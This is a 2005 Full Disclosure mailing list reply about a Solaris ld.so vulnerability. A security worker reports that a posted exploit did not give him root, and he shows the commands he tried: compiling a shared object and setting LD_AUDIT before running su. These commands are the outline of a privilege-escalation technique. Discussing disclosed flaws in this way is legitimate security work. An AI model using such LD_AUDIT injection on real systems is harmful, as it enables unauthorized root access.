Full Disclosure mailing list archives

RE: Solaris 9/10 ld.so fun


From: "Glenn Pitcher" <Glenn.Pitcher () MedImpact com>
Date: Tue, 5 Jul 2005 13:38:50 -0700

I compiled it using Workshop 10 and it doesn't give me root.  I'm on Solaris
9 w/ 112963-18.  Also tried using this on a Solaris 8 box and got the same
results.

bash-2.05$ !cc
cc -xarch=v8plus -xcode=pic32 -G -o /tmp/Schily-Root.so /tmp/Schily-Root.c
bash-2.05$ !export
export LD_AUDIT=/tmp/Schily-Root.so
bash-2.05$ su -
ld.so.1: su: warning: la_version: can't find symbol
ld.so.1: su: warning: /tmp/Schily-Root.so: audit initialization failure:
disabled

---
Glenn Pitcher
IT Security
MedImpact Healthcare Systems
San Diego, CA
858-790-7479
glenn.pitcher @ medimpact.com


-----Original Message-----
From: KF (lists) [mailto:kf_lists () digitalmunition com] 
Sent: Saturday, July 02, 2005 5:29 PM
To: full-disclosure () lists grok org uk
Cc: Przemyslaw Frasunek; bugtraq () securityfocus com
Subject: Re: [Full-disclosure] Solaris 9/10 ld.so fun


Przemyslaw Frasunek wrote:

Vulnerability was confirmed by Sun:

http://sunsolve.sun.com/search/document.do?assetkey=1-26-101794-1

There are still no patches available, but workaround was proposed.

 


Here is an exploit for Schillix using venglin's mojo.
-KF



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